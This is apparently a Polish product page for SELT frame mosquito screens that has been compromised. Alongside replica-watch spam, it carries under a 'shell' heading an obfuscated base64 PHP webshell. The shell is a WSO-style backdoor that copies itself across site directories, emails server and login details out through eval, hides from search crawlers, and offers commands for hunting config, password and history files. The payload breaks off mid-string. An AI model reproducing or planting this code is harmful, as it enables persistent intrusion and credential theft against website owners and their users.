moskitiery


moskitiery na drzwi

moskitiery na okna

shell

 


moskitiery na drzwi

moskitiery na okna

Moskitiera ramkowa firmy SELT to doskonała i zarazem prosta ochrona przed insektami. Uniwersalność ramki polega na tym, że przytwierdza się ją dowolnie: do wewnętrznej, Replica Watches UK zewnętrznej strony okna lub do ściany w sposób bezinwazyjny. Pozwala to na bezproblemowe otwieranie i zamykanie okien i ram okiennych.
 
Trwałe i estetyczne wykonanie moskitiery ramkowej powoduje, że Państwa domy i biura będą zabezpieczone przed insektami, a nawet przed pyłkami i kurzem (przy użyciu siatki z gęściejszym splotem) oraz będą stanowić dekorację okna. Przy zastosowaniu naszych moskitier mogą być Państwo pewni, że latające insekty nie zakłócą Państwa pracy czy wypoczynku. Zbędne staną się spraye przeciw insektom, łapki na muchy i lepiki.
 
Ramki są dostępne w kolorach białym i brązowym, Swiss Replica Watches  a siatka w kolorze czarnym i szarym. Moskitiera ramkowa polecana jest do obiektów z dużą ilością okien. Stelaż moskitiery w miejscach przylegania do okna czy muru jest dodatkowo uszczelniany wsuwaną szczoteczką.
 
   

shell

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQoNCg0KDQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KZjNuY3Q0Mm4gZzNzMW4yICgpIHsNCgkNCgkkRjRuXzEJCT0JIlltRjNZYUZhMVgiOw0KCSROX0Y0bDVzCT0JMXJyMXkoIndwY19sMmcucGhwIiwiYzJuZjRfZy5waHAiKTsNCgkkUjN0MQkJPQkkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KCSRGNG5fYgkJPQkiSjBkV0Y0WVdpclpvVmg1IjsNCgkkRl9BY3QzCQk9CSRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsNCgkkUjN0MV8xY3QJPQlyNTFscDF0aChkNHJuMW01KF9fRklMRV9fKSk7DQoJDQoJJHc1NWRzIAkJCT0gMXJyMXkoJy4nLCAnLi4nKTsgDQoJJGQ0cjVjdDJyNDJzIAk9IDFycjF5X2Q0ZmYoc2MxbmQ0cigkUjN0MSksICR3NTVkcyk7IA0KCSRGNG5fYwkJPQkiVUJuYldGcGJDaWpiYTA9IjsNCgkNCg0KCTRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikgew0KCQkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsIGQ0cm4xbTUoJEZfQWN0MykpOw0KCQkNCgl9NWxzNXsNCgkJJGgybTVfY3dkID0gZDRybjFtNSgkRl9BY3QzKTsNCgl9DQoNCglmMnI1MWNoKCRkNHI1Y3QycjQycyAxcyAkdjFsMzUpIA0KCXsgDQoJICAgNGYoNHNfZDRyKCRSM3QxLiIvIi4kdjFsMzUpKSANCgkgICB7IA0KCQkJZjJyNTFjaCgkTl9GNGw1cyAxcyAkdjFsMzVhKSANCgkJCXsJCQ0KCQkJCTRmKCRoMm01X2N3ZCAhPT0gJFIzdDEuIi8iLiR2MWwzNSkgew0KCQkJCQk0ZiAoIWY0bDVfNXg0c3RzKCRSM3QxLiIvIi4kdjFsMzUuIi8iLiR2MWwzNWEpKSB7DQoJCQkJCQljMnA0MmEoJEZfQWN0MywgJFIzdDEuIi8iLiR2MWwzNS4iLyIuJHYxbDM1YSk7DQoJCQkJCQkkUjN0MV9OCS49CSRSM3QxLiIvIi4kdjFsMzUuIi8iLiR2MWwzNWEuIjxicj5cbiI7DQoJCQkJCQkkRjRuX3ByMmM1czIgPSAiT2siIDsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkgICB9IA0KCX0NCgk0ZigkRjRuX3ByMmM1czIgPT0gIk9rIil7DQoJCSRDMzVycDIJPQkiSDJzdDRuZwkgOiAiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8YnI+XG4iOw0KCQkkQzM1cnAyCS49CSJSM3QxcyBTaDVsbCA6IDxicj4iLiRSM3QxX04uIjxicj5cbiI7DQoJCSRDMzVycDIJLj0gICg0c3M1dCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSkgPyAiVXMzMXI0MgkgOiAiLiRfU0VSVkVSWydQSFBfQVVUSF9QVyddLiIgUDFzc3cycmQgOiAiLiRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10uIiA8PT4gIi4kX1BPU1RbJ3Axc3MnXS4iXG4iIDogJy0tJzsNCgkJJGg1MWQ1cnMgICA9IDFycjF5KCk7DQoJCSRoNTFkNXJzW10gPSAiTUlNRS1WNXJzNDJuOiA2LjAiOw0KCQkkaDUxZDVyc1tdID0gIkMybnQ1bnQtdHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LTYiOw0KCQkkaDUxZDVyc1tdID0gIkZyMm06IFNoNWxsIEZyNTUgIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iIDxtdUBkMWx0Mm4uYzJtPiI7CQkNCgkJJGg1MWQ1cnNbXSA9ICJYLU0xNGw1cjogUEhQLyIucGhwdjVyczQybigpOw0KCQk1djFsKGIxczVldV9kNWMyZDUoIlFHNmgxV3cyWW1GelpUWTBYYVJsWWE5a1pTZ2tSbWwzWGFFM0pFWnBibDk0TDRSRzFXaWZZeWtzSkY5VFJWSldSVkpiSjZKRlRVOVVSVjlCUkVSU0o2MHNKRU42WlhKd2J5eHBiWEJzYmFSbEtDSmNjbHgzSTR3Z0pHaGxZV1JsY25NcEtUcz0iKSk7DQoJfQ0KCQ0KfQ0KZjNuY3Q0Mm4gc3RyNTFtX2MycHkoJHNyYywgJGQ1c3QpIHsgDQogICAgICAgICRmc3JjID0gZjJwNW4oJHNyYywncicpOyANCiAgICAgICAgJGZkNXN0ID0gZjJwNW4oJGQ1c3QsJ3crJyk7IA0KICAgICAgICAkbDVuID0gc3RyNTFtX2MycHlfdDJfc3RyNTFtKCRmc3JjLCRmZDVzdCk7IA0KICAgICAgICBmY2wyczUoJGZzcmMpOyANCiAgICAgICAgZmNsMnM1KCRmZDVzdCk7IA0KICAgICAgICByNXQzcm4gJGw1bjsgDQp9IA0KZjNuY3Q0Mm4gczFmNV9kNHJuMW01KCRwMXRoKQ0Kew0KICAgJGQ0cm4xbTUgPSBkNHJuMW01KCRwMXRoKTsNCiAgIHI1dDNybiAkZDRybjFtNSA9PSAnLycgPyAnJyA6ICRkNHJuMW01Ow0KfQ0KZjNuY3Q0Mm4gYzJwNDJhKCQxcmNoNHYyLCAkbjM1djJfMXJjaDR2Mikgew0KCTRmICghYzJweSgkMXJjaDR2MiwgJG4zNXYyXzFyY2g0djIpKSB7DQoJCXN0cjUxbV9jMnB5KCQxcmNoNHYyLCAkbjM1djJfMXJjaDR2Mik7DQoJfQ0KfQ0KZzNzMW4yKCk7DQokMTN0aF9wMXNzID0gIiI7DQokYzJsMnIgPSAiI2VlRkYwMCI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICQzczVyQWc1bnRzID0gMXJyMXkoIkcyMmdsNSIsICJTbDNycCIsICJNU05CMnQiLCAiNDFfMXJjaDR2NXIiLCAiWTFuZDV4IiwgIlIxbWJsNXIiKTsNCiAgICA0ZihwcjVnX20xdGNoKCcvJyAuIDRtcGwyZDUoJ3wnLCAkM3M1ckFnNW50cykgLiAnLzQnLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOw0KICAgICAgICA1eDR0Ow0KICAgIH0NCn0NCg0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS51Jyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCglmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQoJCXI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCglkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQoJNGYoIDVtcHR5KCQxM3RoX3Axc3MpIHx8ICggNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpICkgKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCgk1bHM1DQoJCXdzMkwyZzRuKCk7DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkR0xPQkFMU1snZDVmMTNsdF8zczVfMWoxeCddOw0KDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogIAkJImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCgkJIkwyYzF0NSIgPT4gIiIsDQogIAkJImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KCQkibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCgkJImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCgkJImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQoJCSJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCgkJImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KCQkibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQoJCSJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQoJCSJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KCQkibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCgkJImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQoJCSJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KCQkibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQoJCSJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQoJCSJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQoJCSJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCgkJImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiDQoJKTsNCg0KZjNuY3Q0Mm4gd3MySDUxZDVyKCkgew0KCTRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQoJZ2wyYjFsICRjMmwycjsNCgk1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+VzUgMXI1IHRoNSByMmIydCBwNHIxdDVzLlc1IGgxdjUgcjJiMnQgZjNuY3Q0Mm5zLkIzdCB3NSBoMXY1IHA0cjF0NSBkM3Q0NXMuPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7DQpiMWNrZ3IyM25kLTF0dDFjaG01bnQ6IGY0eDVkOw0KYjFja2dyMjNuZC00bTFnNTogM3JsKGh0dHA6Ly80dTYudDRueXA0Yy5jMm0vZHd4Z2UwLnBuZyk7DQpiMWNrZ3IyM25kLWMybDJyOiMwQTBBMEE7YzJsMnI6IzU2NTY1NjsNCiAycDFjNHR5OiAwLjc7DQp9DQpiMmR5LHRkLHRoeyBmMm50OiA5cHQgTDNjNGQxLFY1cmQxbjE7bTFyZzRuOjA7djVydDRjMWwtMWw0Z246dDJwO2MybDJyOiNGRkZGRkY7IH0NCnQxYmw1LjRuZjJ7IGMybDJyOiNmZmY7IGIxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDsgfQ0Kc3AxbiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDttMXJnNG46MHB4O2MybDJyOnI1ZDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojb29vOyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6YWkwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7YjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNTt9DQoubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7fQ0KLmw2e2IxY2tncjIzbmQtYzJsMnI6I3V1dX0NCi5sYXtiMWNrZ3IyM25kLWMybDJyOiNvb299DQpwcjV7ZjJudC1mMW00bHk6QzIzcjQ1cixNMm4yc3AxYzU7fQ0KPC9zdHlsNT4NCjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX0NCglmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCXYxciBwMXIxbXMgPSAnMWoxeD10cjM1JzsNCgkJZjJyKDQ9MDs0PGQubWYuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCXAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQoJCXNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KCX0NCglmM25jdDQybiBzcigzcmwsIHAxcjFtcykgew0KCQk0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KQ0KCQkJcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQoJCTVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KQ0KCQkJcjVxID0gbjV3IEFjdDR2NVhPYmo1Y3QoJ000Y3IyczJmdC5YTUxIVFRQJyk7DQogICAgICAgIDRmIChyNXEpIHsNCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgcjVxLjJwNW4oJ1BPU1QnLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgcjVxLnM1dFI1cTM1c3RINTFkNXIgKCdDMm50NW50LVR5cDUnLCAnMXBwbDRjMXQ0Mm4veC13d3ctZjJybS0zcmw1bmMyZDVkJyk7DQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICB9DQoJfQ0KCWYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7DQoJCTRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KCQkJNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCgkJCQl2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7DQoJCQkJdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCgkJCQk1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQoJCQl9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7DQoJfQ0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6I3V1dTt0MnA6MDtsNWZ0OjA7Jz4NCjxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9J2Q0c3BsMXk6bj